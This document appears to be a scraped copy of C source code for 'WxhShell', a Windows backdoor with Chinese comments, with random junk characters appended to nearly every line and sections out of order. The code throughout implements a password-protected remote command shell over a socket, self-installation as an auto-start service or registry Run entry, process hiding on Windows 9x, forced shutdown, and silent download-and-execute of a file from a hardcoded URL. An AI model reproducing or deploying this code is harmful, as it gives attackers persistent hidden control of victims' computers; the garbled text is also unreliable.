  // 关机 ;aZ$qgN*Y  
  case 'd': { R5`"~qP-  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "qEi$a&]  
    if(Boot(SHUTDOWN)) zdDn. vG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aq ~g 54  
    else { )` nX~_'p  
    closesocket(wsh); ]=2wQ8  
    ExitThread(0); QPe+K61U  
    } _%g}d/v}pO  
    break; Ka[@-XH  
    } (TufvHC  
  // 获取shell \Y)pm9!  
  case 's': { oY!nM%z/  
    CmdShell(wsh); 44H#8kV  
    closesocket(wsh); 13oR-Stj|  
    ExitThread(0); nC^|83  
    break; Z]$RO  
  } [ emUyF  
  // 退出 j, SOL9yg  
  case 'x': { (kpn"]^'  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); zYf `o0U  
    CloseIt(wsh); y`"b%P)+T  
    break; ~n)!e#p  
    } C$X )I~M  
  // 离开 +\SNaq~&  
  case 'q': { OiB*,TWV  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); %9z N U  
    closesocket(wsh); |meo  
    WSACleanup(); %w <59d6  
    exit(1); E?c)WA2iH  
    break; wGd4:W  
        } V K/;ohTTP  
  } "Aw| 7XII  
  } \;0J6LBc  
?Ji.bnfK  
  // 提示信息 I(6k.PQ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !FhK<#  
} Cm:&n|  
  } lO482l_t  
p5<2tSD  
  return; (2H e]M\  
} fH_G;#q  
xPa>-N=*  
// shell模块句柄 {^TVZdw  
int CmdShell(SOCKET sock) Pb0+ z=L  
{ *ey<R  
STARTUPINFO si; >n,RBl  
ZeroMemory(&si,sizeof(si)); "y R56`=  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9/$D&tRN  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; wAHW@q9CK  
PROCESS_INFORMATION ProcessInfo; .r9-^01mG  
char cmdline[]="cmd"; :tP:X+?O  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ],ow@}  
  return 0; ,BM6s,\  
} 9*!C|gC9Ia  
<v<TsEI  
// 自身启动模式 nQ\ +Za==  
int StartFromService(void) lQs|B '  
{ bP;cDQ(g  
typedef struct wH&Rjn  
{ *uYnu|UQH  
  DWORD ExitStatus; q2VQS1R`8  
  DWORD PebBaseAddress; OtuOT=%  
  DWORD AffinityMask; H-%)r&"vn  
  DWORD BasePriority; MF>1u%  
  ULONG UniqueProcessId; 'T54k  
  ULONG InheritedFromUniqueProcessId; Y21,!$4gb  
}   PROCESS_BASIC_INFORMATION; Q1qf'u  
x{u7#s1|/  
PROCNTQSIP NtQueryInformationProcess; L]{ 1"`#  
E.v~<[g  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Qh%(yL!  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }Sa2s&[<  
?9qA"5  
  HANDLE             hProcess; J~z;sTR  
  PROCESS_BASIC_INFORMATION pbi; 7)zn[4v7qt  
]Xcqf9k  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \m!swYy  
  if(NULL == hInst ) return 0; mq$mB1$3u  
CFJ F}aW  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); zn5  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); x1)G!i  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); O`e0r%SJ  
)i&9)_ro  
  if (!NtQueryInformationProcess) return 0; v#/Uq?us  
3=9yR* *  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ]E90q/s@c  
  if(!hProcess) return 0; \nV|Y=5  
t5h]]TOz  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ['pk/h  
Wt+aW  
  CloseHandle(hProcess); PezUG{q(  
Yck(Fl  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); w5"C<5^  
if(hProcess==NULL) return 0; @YyTXg{ZK  
gO-C[j/  
HMODULE hMod; ~:ddTv?F  
char procName[255]; Sc "J5^  
unsigned long cbNeeded; H`4H(KWm  
gkUG*Zw  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }9fH`C/m  
T{M~*5$  
  CloseHandle(hProcess); DB'pRo+U  
}J t( H  
if(strstr(procName,"services")) return 1; // 以服务启动 4cK6B)X  
UJkg|eu  
  return 0; // 注册表启动 Z~o*$tF/  
} )AOD~T4s7  
!Y_"q^5GG'  
// 主模块 iK%<0m  
int StartWxhshell(LPSTR lpCmdLine) tx;DMxN!W  
{ ' >[KVvm  
  SOCKET wsl; Mn+;3qo{6  
BOOL val=TRUE; BDY@&vF  
  int port=0; }x4,a6^  
  struct sockaddr_in door; ,J?Hdy:R  
~uRG~,{rH  
  if(wscfg.ws_autoins) Install(); Ee>P*7*jB  
h+|3\>/@9{  
port=atoi(lpCmdLine); DsY-JBDvoz  
sqHv rI  
if(port<=0) port=wscfg.ws_port; =tl[?6  
s}A)sBsaP3  
  WSADATA data; W#|]m=2W  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; /=4P< &J  
+v%V1lf^~  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   l|-1H76  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?}%Gr,tj2  
  door.sin_family = AF_INET; DG1  >T  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Xg.'<.!g0  
  door.sin_port = htons(port); /E(H`;DG  
V#!ihL/>  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { xd8UdQ, lt  
closesocket(wsl); =9n$ at$l@  
return 1; &9\z!r6mc  
} "/hM&  
i%H_ua  
  if(listen(wsl,2) == INVALID_SOCKET) { E!'H,#"P  
closesocket(wsl); J) v~  
return 1; _#9:cH*  
} 0~RsdQGqC  
  Wxhshell(wsl); U7J0&  
  WSACleanup(); KC o<%  
Y-&r_s_~  
return 0; { 'Hi_b3  
Fa^5.p  
} i](,s.  
Ojp)OeF\  
// 以NT服务方式启动 Y."ujo#bB  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %a+X\\v2  
{ G5Y5_r6Gu  
DWORD   status = 0; o7VNw8Bp  
  DWORD   specificError = 0xfffffff; Ea1{9> S  
"+s#!Fh *  
  serviceStatus.dwServiceType     = SERVICE_WIN32; LU4\&fd  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 5bFE;Y;  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; EDvK9J  
  serviceStatus.dwWin32ExitCode     = 0; &$  F0  
  serviceStatus.dwServiceSpecificExitCode = 0; ayyn6a8  
  serviceStatus.dwCheckPoint       = 0; A|tee@H*0  
  serviceStatus.dwWaitHint       = 0; "xZ]i)  
$*K5  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); vP&dvAUF  
  if (hServiceStatusHandle==0) return; |x["fWK  
=<(:5ive  
status = GetLastError(); 8):I< }s#  
  if (status!=NO_ERROR) vJ>A >R CB  
{ "^gZh3  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; !zL 1XW)q  
    serviceStatus.dwCheckPoint       = 0; ^4]#Ri=U  
    serviceStatus.dwWaitHint       = 0; *x[B g]/  
    serviceStatus.dwWin32ExitCode     = status; N+l~r]: &  
    serviceStatus.dwServiceSpecificExitCode = specificError; 0.O pgv2K  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); JY0t Hs  
    return; Jl&bWp^3  
  } ]4\^>  
nul?5{z@  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; _~_04p  
  serviceStatus.dwCheckPoint       = 0; NKLGbH  
  serviceStatus.dwWaitHint       = 0; 8-cG[/|0  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); sl|s#+Z  
} _3tHzDSG#  
 m3 ;  
// 处理NT服务事件,比如:启动、停止 wq_c^Ioy  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &T]+g8''  
{ b>E%&sf  
switch(fdwControl) VP\HPSp  
{ rB?u.jn0T  
case SERVICE_CONTROL_STOP: WM: ~P$%cx  
  serviceStatus.dwWin32ExitCode = 0; 28SlFu?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; rui}a=rs  
  serviceStatus.dwCheckPoint   = 0; [e3|yE6  
  serviceStatus.dwWaitHint     = 0; -'JTVfm.  
  { ;|w &n  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); z=!$3E ecr  
  } C!XI0d  
  return; KoiU\r  
case SERVICE_CONTROL_PAUSE: 64s+ 0}  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; "%urT/F v&  
  break; %H>vMR-,~  
case SERVICE_CONTROL_CONTINUE: |`s}PcV  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 66D<Up'K  
  break; wc)[r~On(5  
case SERVICE_CONTROL_INTERROGATE: *x`z5_yfO  
  break; [ar:zl V8  
}; 4DEsB)%X  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); cGkl=-oQ'  
} O 4N_lr~  
J><O 51  
// 标准应用程序主函数 L;nRI.  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 52m^jT Sx  
{ Q6,rY(b6  
]?-56c,  
// 获取操作系统版本 T =3te|fv  
OsIsNt=GetOsVer(); jp8=>mk  
GetModuleFileName(NULL,ExeFile,MAX_PATH); C-qsyJgZy  
>tr?5iKxc  
  // 从命令行安装 "+_]N9%)  
  if(strpbrk(lpCmdLine,"iI")) Install(); vKAHf;1  
nX5*pTfjL3  
  // 下载执行文件 &Xe r#6~  
if(wscfg.ws_downexe) { tA#X@HIE  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !/< 5.9!9r  
  WinExec(wscfg.ws_filenam,SW_HIDE); ^K@r!)We  
} 6\ux;lksn*  
vc6UA%/f  
if(!OsIsNt) { tt[P{mMQ  
// 如果时win9x,隐藏进程并且设置为注册表启动 [2 2IF  
HideProc(); ="@W)"r  
StartWxhshell(lpCmdLine); 1?(BWX)7  
} Qu!\Cx@  
else ZyCAl9{p  
  if(StartFromService()) P.qD,$-  
  // 以服务方式启动 R|V<2  
  StartServiceCtrlDispatcher(DispatchTable); G&D N'bp  
else E=~H,~  
  // 普通方式启动 dtA- 4Ndm  
  StartWxhshell(lpCmdLine); ^Q!:0D*  
+n,8o:fU:  
return 0;  ~Zl`Ap  
} ;zs*Zd7h M  
)@eBe^  
|r}%AN6+  
T~"tex]  
=========================================== oCy52Bm.!  
+D?d)lK  
:N8D1e-a  
<kLY1 EILM  
ez(4TtT  
6;n^/3*#  
" L!S-f4^5  
#Yw^n?~~  
#include <stdio.h> d/Py,  
#include <string.h> ,EZ&n[%Ko  
#include <windows.h> %T'?7^\>  
#include <winsock2.h> 4Xz6JJ1U[H  
#include <winsvc.h> ~lDLdUs  
#include <urlmon.h> + A0@# :B  
!Q.c8GRUQ  
#pragma comment (lib, "Ws2_32.lib") V.y+u7<3}  
#pragma comment (lib, "urlmon.lib") W3<O+S&  
KNY<"b  
#define MAX_USER   100 // 最大客户端连接数 ) V@qH]  
#define BUF_SOCK   200 // sock buffer dZ%b|CUb  
#define KEY_BUFF   255 // 输入 buffer Maa5a  
~;+i[Z&e  
#define REBOOT     0   // 重启 *}/xy SH3  
#define SHUTDOWN   1   // 关机 &51/Pm2O  
l06 q1M 3  
#define DEF_PORT   5000 // 监听端口 ` t6lnO  
EHzZ9zH\  
#define REG_LEN     16   // 注册表键长度  u`bWn  
#define SVC_LEN     80   // NT服务名长度 7y[B[$P  
_Fz )2h,3  
// 从dll定义API g!~j Wn?A  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Phb<##OB  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); vnN_csJ#^  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); *s%s|/  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 6,@M0CX  
G!rcY5!J  
// wxhshell配置信息 'h81\SKFK9  
struct WSCFG { >hQR  
  int ws_port;         // 监听端口 +vU.#C_2  
  char ws_passstr[REG_LEN]; // 口令 3M@>kIT8  
  int ws_autoins;       // 安装标记, 1=yes 0=no +uT=Wb \  
  char ws_regname[REG_LEN]; // 注册表键名 W/\7m\ B  
  char ws_svcname[REG_LEN]; // 服务名 66|lQE&n  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 M2s   
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 qh2.N}lW  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Ey6K@@%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no %1=W#jz  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" =pk'a_P 8-  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 c<H4rB  
3zl!x  
}; i44:VR|  
#e|eWi>  
// default Wxhshell configuration 7Ru0>4B  
struct WSCFG wscfg={DEF_PORT, ,7QnZ=F  
    "xuhuanlingzhe", ]-}a{z  
    1, {^\-%3$  
    "Wxhshell", t[Q^Xp  
    "Wxhshell", +$UfP(XmH  
            "WxhShell Service", 'P~*cr ?A  
    "Wrsky Windows CmdShell Service", 4;*V^\',9  
    "Please Input Your Password: ", mD=?C  
  1, t&&OhHK  
  "http://www.wrsky.com/wxhshell.exe", *,R e&N8  
  "Wxhshell.exe" %]R#}amW  
    }; ^#=L?e  
H!Od.$ZIX  
// 消息定义模块 8odVdivh  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; HhpP}9P;  
char *msg_ws_prompt="\n\r? for help\n\r#>"; @i`gR%  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; w+MdQ@'5  
char *msg_ws_ext="\n\rExit."; }`MO}Pz  
char *msg_ws_end="\n\rQuit."; l,X;<&-[  
char *msg_ws_boot="\n\rReboot..."; Qb|dp~K.M  
char *msg_ws_poff="\n\rShutdown..."; AH7k|6ku<*  
char *msg_ws_down="\n\rSave to "; fg1y@Dj/&  
p/:5 bvA  
char *msg_ws_err="\n\rErr!"; S1+#qs {5a  
char *msg_ws_ok="\n\rOK!"; .Gv~e!a8  
Ym6ec|9;  
char ExeFile[MAX_PATH]; }UO,R~q~  
int nUser = 0; D~y]d  
HANDLE handles[MAX_USER]; <N*>9S,}  
int OsIsNt; asF- mf;D  
<G&v  
SERVICE_STATUS       serviceStatus; _ 4W#6!  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; -m @s 9k  
iY($O/G[+  
// 函数声明 oby*.61?5l  
int Install(void); ;CvGIp&y  
int Uninstall(void); q-RGplx  
int DownloadFile(char *sURL, SOCKET wsh); =aekY;/  
int Boot(int flag); [_0g^(`  
void HideProc(void); j~{2fd<>  
int GetOsVer(void); [D,:=p`  
int Wxhshell(SOCKET wsl); N0piL6Js  
void TalkWithClient(void *cs); Stc\P]%d  
int CmdShell(SOCKET sock); - VE#:&  
int StartFromService(void); MCCZh{uo  
int StartWxhshell(LPSTR lpCmdLine); t,+S~Cj|  
l<HRD  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 6+FON$8  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); $W?XxgkB?  
K+}Z6_:  
// 数据结构和表定义 C1/jA>XW  
SERVICE_TABLE_ENTRY DispatchTable[] = WAa?$"U2  
{ Y; w]u_  
{wscfg.ws_svcname, NTServiceMain}, S3_4i;K\  
{NULL, NULL} HDEG/k/~m  
}; +doT^&2u*  
\PFx# :-c  
// 自我安装 |W <:rT  
int Install(void) /Ow?nWSt  
{ /OP*ARoC21  
  char svExeFile[MAX_PATH]; 'l:2R,cP  
  HKEY key; J4vKfxEg  
  strcpy(svExeFile,ExeFile); !BX62j\?  
f+920/>!Z  
// 如果是win9x系统,修改注册表设为自启动 R\}YD*  
if(!OsIsNt) { _y9P]@Q7%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1FJ[_ l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Kzb@JBIF  
  RegCloseKey(key); mQs$7t[>t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [z~Nw#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); E8i:ER $$7  
  RegCloseKey(key); p[)<d_  
  return 0;  eqR#`  
    } uI2'jEjO  
  } f*],j  
} (HI%C@e9  
else { gp HwiFc  
9qDGxW '1  
// 如果是NT以上系统,安装为系统服务 Dkb&/k:)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); bw\=F_>L  
if (schSCManager!=0) (Pd>*G\  
{ zl\#n:|  
  SC_HANDLE schService = CreateService d]3sC  
  ( H1nQ.P]_  
  schSCManager, 0vp I#q  
  wscfg.ws_svcname, F4Uk+|]Bu  
  wscfg.ws_svcdisp, 3\+p1f4  
  SERVICE_ALL_ACCESS, ~N9-an  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {9".o,  
  SERVICE_AUTO_START, 0f^.zt{T  
  SERVICE_ERROR_NORMAL, }L!`K"^O&  
  svExeFile, ^rwSbM$  
  NULL, lc-|Q#$3$  
  NULL, Xt =bc  
  NULL, |esjhf}H>v  
  NULL, fO^6q1a  
  NULL u`@f ~QP0  
  ); h*UUtLi%WU  
  if (schService!=0) P;%QA+%7  
  { Hz8`)cv`  
  CloseServiceHandle(schService); (OB8vTRXP  
  CloseServiceHandle(schSCManager); r6JkoP Mh  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); pXv[]v  
  strcat(svExeFile,wscfg.ws_svcname); %KF:- w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { h<;[P?z  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ap^=CEf   
  RegCloseKey(key); Q ~JKKq  
  return 0; 6# ";W2  
    } h&bV!M  
  } >UY_:cW4%m  
  CloseServiceHandle(schSCManager); 9M]"%E!s  
} W_\L_)^X  
} J~3T8e#  
(Fzh1#  
return 1; #<Nvy9  
} NCnId}BT  
hxVM]e[  
// 自我卸载 WN +Jf  
int Uninstall(void) _|3TC1N$n  
{ K9Xd? ]a  
  HKEY key; DA)v3Nd  
=zeLs0s;  
if(!OsIsNt) { 1 \*B.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { vQ mackY  
  RegDeleteValue(key,wscfg.ws_regname); !`[I>:Ex  
  RegCloseKey(key); 8 QF?W{NK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \.P}`Bpa  
  RegDeleteValue(key,wscfg.ws_regname); G*i#\   
  RegCloseKey(key); 5jV97x)BGx  
  return 0; :IVMTdYf  
  } DhNo +"!z  
} qMES<UL>  
} gH^$Y~Lx  
else { xeM':hD.o  
IXvz&4VD  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =8p+-8M[d  
if (schSCManager!=0) ASZ5;N4u  
{ KM}4^Qc  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); )]>G,.9C}  
  if (schService!=0) QYfAf3te  
  { ~}-p5q2  
  if(DeleteService(schService)!=0) { '0')6zW5s  
  CloseServiceHandle(schService); c48J!,jCd'  
  CloseServiceHandle(schSCManager); %;(|KrUN  
  return 0; _~ZQ b  
  } U@J/  
  CloseServiceHandle(schService); BX(d"z b<  
  } ? ZHE8  
  CloseServiceHandle(schSCManager); ?h)3S7  
} )^f9[5ee  
} %}MA5 t]o  
t9n   
return 1; j22#Bw  
} OZ!$%.?l  
L\Fu']l  
// 从指定url下载文件 >9<8G]vcH  
int DownloadFile(char *sURL, SOCKET wsh) O%K?l}e  
{ S2ppKlVv  
  HRESULT hr; =HV-8C]  
char seps[]= "/"; `)=A !x y  
char *token; f:[d]J|  
char *file; w}W@M,.^  
char myURL[MAX_PATH]; &O6;nJEI  
char myFILE[MAX_PATH]; m/hi~. D9  
y|;8:b32  
strcpy(myURL,sURL); ?FV7|)f  
  token=strtok(myURL,seps); dD^_^'i  
  while(token!=NULL) j&[.2PW\  
  { u1) TG "+0  
    file=token; W]D`f8r9  
  token=strtok(NULL,seps); {nPkb5xbW  
  } u@bOEcxK  
VUy)4*  
GetCurrentDirectory(MAX_PATH,myFILE); J`+`Kq1T  
strcat(myFILE, "\\"); hGA!1a4 c  
strcat(myFILE, file); < [S1_2b.t  
  send(wsh,myFILE,strlen(myFILE),0); }.MoDR3\  
send(wsh,"...",3,0); oBj>9I;  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); c7g.|R  
  if(hr==S_OK) X4 }`>  
return 0; 1R2o6`_  
else /%uZKG P  
return 1; #OD@q;  
! [|vx!p  
} cCh0?g7nV  
J[<pZ [  
// 系统电源模块 WE5"A| =  
int Boot(int flag) k?["F%)I  
{ fmnRUN=  
  HANDLE hToken; ,"N3k(g  
  TOKEN_PRIVILEGES tkp; W"-EC`nP  
(I7&8$Zl  
  if(OsIsNt) { A&|Wvb=  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); K/wiL69  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); X40la_[.  
    tkp.PrivilegeCount = 1; hINnb7 o  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @cu}3>  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ]@/^_f>D  
if(flag==REBOOT) { ;WvYzd9  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) MJ>Qq[0  
  return 0; uXQ7eXX  
} I|F~HUzA"  
else { 7O8V1Tt  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /OhaERv  
  return 0; ]Z.<c$  
} m]0^  
  } !bZhj3.  
  else { piYws<Q  
if(flag==REBOOT) { vLnq%@x  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) O^X[9vrW  
  return 0; m~Y'$3w  
} ' 1P=^  
else { xm}q6>jRV  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) .7pGx*WH^Y  
  return 0; /$FXg;h9$  
} 4-]Do?  
} -7-Fd_F8  
BrNG%%n  
return 1; $Yx6#m}[M  
} ]cF1c90%  
O1x0[sy  
// win9x进程隐藏模块 ']d!?>C@o  
void HideProc(void) T6h;Y  
{ 8 zQ_xE  
3 x"@**(Q  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); bK03 S Vx  
  if ( hKernel != NULL ) kyW6S+#-  
  { +A8=R%&b)[  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Kk!6B  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); >a&?AP #  
    FreeLibrary(hKernel); Y )u_nn'[  
  } ?%\mQmjas  
\LO_Nu9  
return; g.[+yzuE6  
} r#_7]_3  
*[d~Nk%Y$  
// 获取操作系统版本 My]+?.Ru  
int GetOsVer(void) v87$NQvwQ  
{ Qq'i*Mh  
  OSVERSIONINFO winfo; \LIy:$`8  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~In{lQ[QX  
  GetVersionEx(&winfo); ; g Z%U  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) fKL'/?LD]  
  return 1; )"(V*Z  
  else g2g`,"T  
  return 0; X'V+^u@W  
} to99 _2  
{l0,T0  
// 客户端句柄模块 /]ku$.mr\  
int Wxhshell(SOCKET wsl) //\ds71h  
{ \We"?1^  
  SOCKET wsh; 98ca[.ui  
  struct sockaddr_in client; 6#E]zmXO2  
  DWORD myID; K#GXpj  
|7rR99  
  while(nUser<MAX_USER) !( kX~S  
{ Bz~ -2#l  
  int nSize=sizeof(client); 6RK ~Dl&g  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); =E;=+eqt  
  if(wsh==INVALID_SOCKET) return 1; \e?.h m q  
2Ryp@c&r^  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )-0[ra]  
if(handles[nUser]==0) CnabD{uTf  
  closesocket(wsh); oJP< 'l1  
else ?Wwh _TO  
  nUser++; $z= 0[%L  
  } _ymJ~MK  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); IYuyj(/!  
|n+ #1_t%  
  return 0; |.1qy,|!X  
} 98BYtxa  
V3## B}2[Y  
// 关闭 socket FQ+8J7  
void CloseIt(SOCKET wsh) E;9Z\?P  
{ 'eqiYY|  
closesocket(wsh); vGXWwQ.1Tp  
nUser--; g93I+  
ExitThread(0); QZ?d2PC=>?  
} m])Lw@#9W  
-Bj.hx*  
// 客户端请求句柄 f.@Xjf  
void TalkWithClient(void *cs) BRe{1i 6  
{ SEYGy+#K  
hO#HvW  
  SOCKET wsh=(SOCKET)cs; j2M4H@  
  char pwd[SVC_LEN]; dY1J<L}")  
  char cmd[KEY_BUFF]; ?p(kh^z  
char chr[1]; [1NaH  
int i,j; i#k-)N _$  
H\ 3M  
  while (nUser < MAX_USER) { ,aI,2U91  
d;{y`4p)s  
if(wscfg.ws_passstr) { (/'h4KS@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); KZ]r8  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); h9)RJSF4  
  //ZeroMemory(pwd,KEY_BUFF); m)r]F#@/  
      i=0; PJCnud F  
  while(i<SVC_LEN) { 9x(}F<L  
dPHw3^J0j  
  // 设置超时 <_t5:3HL  
  fd_set FdRead; M^uU4My  
  struct timeval TimeOut; 0Su_#".-*  
  FD_ZERO(&FdRead); S9J5(lYv~N  
  FD_SET(wsh,&FdRead); =:4?>2)  
  TimeOut.tv_sec=8; N*f^Z#B]  
  TimeOut.tv_usec=0; Rxx>{+f4M  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); &RWM<6JP  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); KCD5*xH  
D%A@lMru  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P 4QkY#v  
  pwd=chr[0]; lDC}HC  
  if(chr[0]==0xd || chr[0]==0xa) { g&bwtEZ  
  pwd=0; |ixGY^3;  
  break; }hCaNQ&jH  
  } Ss 2$n  
  i++; Z9xR  
    } ^1.7Juvb  
$:e)$Xnn-  
  // 如果是非法用户,关闭 socket h`lmC]X _  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); lcCJ?!lsSW  
} 6%%PP8.F  
2 % %|fU9  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); l]$40 j  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); } %+qP +O\  
Y xJ`-6  
while(1) { FRgLlp8x  
{EL'd!v7e  
  ZeroMemory(cmd,KEY_BUFF); -Un=T X  
uWTN 2jr  
      // 自动支持客户端 telnet标准   '6X%=f'^b  
  j=0; ?I\v0H*  
  while(j<KEY_BUFF) { t=i/xG:5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qC..\{z  
  cmd[j]=chr[0]; V}SyD(8~  
  if(chr[0]==0xa || chr[0]==0xd) { iD<6t_8),  
  cmd[j]=0; \e|U9;Mf  
  break; Mb/L~gd"  
  } 9Eg&CZ,9$D  
  j++; JR)/c6j  
    } SF^x=[ir  
,%Z&*n  
  // 下载文件 SW#BZ3L  
  if(strstr(cmd,"http://")) { E+z18Lf?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =53b Lzr  
  if(DownloadFile(cmd,wsh)) )tD6=Iz^5  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); .gq(C9<B[  
  else <5I1DF[  
